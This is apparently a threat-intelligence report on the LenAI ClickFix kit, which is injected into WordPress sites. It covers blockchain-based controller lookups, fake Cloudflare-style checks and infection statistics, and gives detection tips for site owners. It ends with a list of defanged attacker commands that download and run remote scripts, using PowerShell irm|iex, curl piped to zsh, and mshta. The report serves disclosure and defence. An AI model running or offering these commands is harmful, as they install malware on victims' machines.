LenAI ClickFix kit

A ClickFix kit rented to several operators

LenAI is the name of a developer that Trinity Cyber, Hudson Rock and Ctrl-Alt-Intel tie to the wallet that created the kit's main Polygon contract, 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2. eSentire published that contract and the loader's request pattern. The code is rented to more than one operator. A lure stage we have seen since 28 September declares the main contract as its own and carries a function, rival(), that removes other tenants' scripts and wallet-drainer code from the page before it runs.

Some of LenAI's element names start with bw-, such as #bw-cf-root.

On the page

LenAI loaders sit inline in the infected site's own HTML, are appended to ordinary JavaScript files including WordPress plugin scripts, or come from a fake "White Label CMS" plugin. Many injections are surrounded by XTracker_ and wpmbchik markers. Nearly all decoded wrappers carrying those markers held the LenAI loader.

The loader itself is small, wrapped in a numeric array, Base64 and XOR layers and run with new Function. Two XOR keys change with every build. The lure stages are packed again, per response.

The fake "White Label CMS" block shows up appended to theme scripts, jQuery Migrate, Elementor's front-end script and WooCommerce's cart script. We have matched it on 134 sites since 7 September 2026.

LenAI also runs on sites built as bait. From 1 November 2026 we matched it on 6 bait domains, among them editpdf[.]space, a "free, open-source PDF editor". The loader does not run when the page opens. When the visitor picks a file to edit, the page writes the loader into an inline frame, and it requests /api.php?s= from managedhosting[.]space. A scanner that only loads the page sees a clean tool site.

Some injections are written out by PHP that left \n escapes in the code as literal text. The browser cannot parse them, so the loader never runs, but it stays in the page. We found builds like this on 6 November 2026.

The wpmbchik wrapper

A site owner who searches for wpmbchik has usually found <!-- wpmbchik --> and <!-- /wpmbchik --> around a script in their page source or theme files. The comment pair is an injection wrapper, used by more than one kit. From 1 September to 2 November 2026 we matched the LenAI Polygon loader inside it on 2,803 sites. JokerStat, a much smaller kit, put its own loader between the same comments.

On 44 sites the wrapper is still in the page with an empty <script> between the comments. The loader is gone, and the place it was written into is still there.

From a contract to a lure

The decoded loader sends a read-only eth_call with the selector 0xb68d1809 to a Polygon contract, through a list of public RPC services such as Ankr and Tenderly. The contract returns the controller's base address. The loader then adds a script from that controller:

[controller]/api.php?s=[site id]&_v=[current minute]

The site ID is built into each loader and _v changes every minute, so no two requests look the same.

The two XOR keys around the loader change with each build. A build first captured on 2 November 2026 reads a newer Polygon contract, 0x3445d5Be21e0131C3eeee2B3Cc942abf76dF1dE2, which returned monitoringsites[.]shop.

A build first captured on 6 November 2026 sits in an inline script with the id pixel-js-after. It calls BNB Smart Chain testnet contract 0x98228e31a075d14fcfbc8048eb0a8e5720f869be with selector 0x07e2da96, which returns a block number. The loader fetches that block, finds the transaction to the contract and runs the text in its log: the whole lure, about 29 KB.

Other versions read a Sepolia contract, use a BNB Smart Chain contract, or skip the blockchain and load a fixed path such as /traffic/api, /lom/api or /wpsecure/api. The Polygon contract 0xfD75a8F503be4851E11a52b645De1f017492A6b0 also appears on SocGholish-infected WordPress sites.

On 9 November 2026 we added an Ethereum mainnet contract, 0x94ccd43a2e8f5cbc99daa0288adac94ff70795e8. It answers the 0xb68d1809 selector with managedhosting[.]space, the controller the fake PDF editor calls.

A stage that clears out other kits

One LenAI stage, recorded by our scanner while an infected page ran, removes its own script tag and sets a __wlPin guard. It reads Polygon contract 0x0f935e2c823f18927e515b70a741312d7db9d79a with selector 0x6d4ce63c through five RPC services, keeps the host in sessionStorage as wl_0f935e2c and loads /ebfbov3h1w/api?_v= plus the current minute from it. If the read fails it uses poyanercold[.]top. On 1 November 2026 the contract returned interseqf[.]com, a LenAI controller we have tracked since 8 September 2026. Another LenAI Polygon contract, 0xff9e792a3015a79340cdec1847ab0aa10560422a, answers the same selector with interseq[.]at, also a LenAI controller. Our scanner recorded 339 sites reading it on 31 October and 1 November 2026.

The stage then watches the page and its XHR requests for other loaders and deletes them. A script counts as a rival if it requests api.php?s=, pairs atob with new Function, carries a long fromCharCode array, sends eth_call to any contract but its own or names several Polygon RPC services.

The lure

LenAI's lure covers the page with a fake human check styled as Cloudflare, Microsoft or DDoS-Guard. It reads the visitor's platform and gives Windows users Run-dialog steps and Mac and Linux users terminal steps, each with a command to match. On Windows that is PowerShell, either written into the lure or sent XOR-encoded by the controller, which downloads and runs a script or an executable. The Sepolia contract 0xf3450B57ab732864E4a04b3699E42D1b8a426970 supplies a fake download page.

The lure stored on BNB Smart Chain testnet draws its check in #bw-cf-root. It asks sfesfes[.]world/v1_ for its controller, reports the visitor to /api_ in an AES-GCM-encrypted ?k=&d= request and asks for its payload with action: "dl". The command it copies is irm 'https://[controller]/v2_' | iex, which downloads a PowerShell script and runs it.

A build captured on 12 November 2026 skips the Run dialog. Its loader is obfuscated with RC4 string arrays and still reads BNB Smart Chain testnet, and the #bw-cf-root check it draws tells Windows visitors to press Win+X, choose Terminal, then Ctrl+V and Enter. Win+X opens the menu behind the Start button, and Terminal there opens PowerShell, so a policy that disables the Run dialog leaves this path open.

The lure keeps score. It reports when the command has been copied, then polls its controller until the controller confirms the command ran, and only then shows a success animation. Some controllers return an empty function to requests they do not like.

What we see

Month	New sites
September	6,837
October	5,230
November so far	1,450

Of the 5,380 sites recaptured at least 25 days after their first match, 4,107 were still serving LenAI (76%). 93% of LenAI sites captured since 25 September run WordPress. 55% of those run WordPress 7.1, and 451 sites report WordPress core older than 6.0.

LenAI often shares a site with other kits. 1,120 LenAI sites also carry LA02, and 989 carry OverlayWar.

Checking a site

Look in the page source, and in your theme and plugin JavaScript files, for:

• inline code that decodes a long string with atob, XORs it with a number and passes it to new Function
• a pixel-js-after script you did not add, or requests to bsc-testnet-dataseed.bnbchain.org
• a script loading /api.php?s= with a long ID and &_v= from a domain you do not recognise
• foreign paths ending in /api, such as /traffic/api, /lom/api or /wpsecure/api
• the strings XTracker_ or wpmbchik near injected code
• a "White Label CMS" plugin you did not install, or a "White Label CMS" block appended to a theme or plugin script

In the browser, requests to public Polygon RPC services from a site with no blockchain features are a strong sign.

curl -s $(echo "[base64 of: hxxps://escapeai[.]live/loader_v2.sh?build=lom&owner=ekm>w#U6]" | base64 -d) | zsh

iex(irm 'hxxps://copiose[.]org/lom/62a9405c9735a1a7' -UserAgent 'WUA/8382bc918d' -Headers @{'X-WUA'='8382bc918d'})

(irm 'hxxps://t-trustrest[.]com/proliv2929/bc49660ca54cf9a2')|iex

mshta hxxp://timelevel12[.]com/big

(irm 'hxxp://hagosuro[.]lc/dantestraff18/9956ca98593d95f4' -UserAgent 'WUA/bdda1e77b2' -Headers @{'X-WUA'='bdda1e77b2'})|iex

iex(irm 'hxxps://cosmical2049[.]com/crabs/6414f8e8174928f0' -UserAgent 'WUA/39587ecfe2' -Headers @{'X-WUA'='39587ecfe2'})

curl -s $(echo "[base64 of: hxxps://trek-72[.]com/curl/nrzucphh/482saou8yf54ndlb4.json]" | openssl base64 -d -A) | zsh

curl -s $(echo "[base64 of: hxxps://groverudder12[.]com/curl/c5iu9pzo7q/luav5qbvsjzop7b9s9.dat]" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xorados[.]com/x/proliv2929' >/dev/null

irm 'codes[.]browse-cdn[.]beer/842d2fef832bd05b'|iex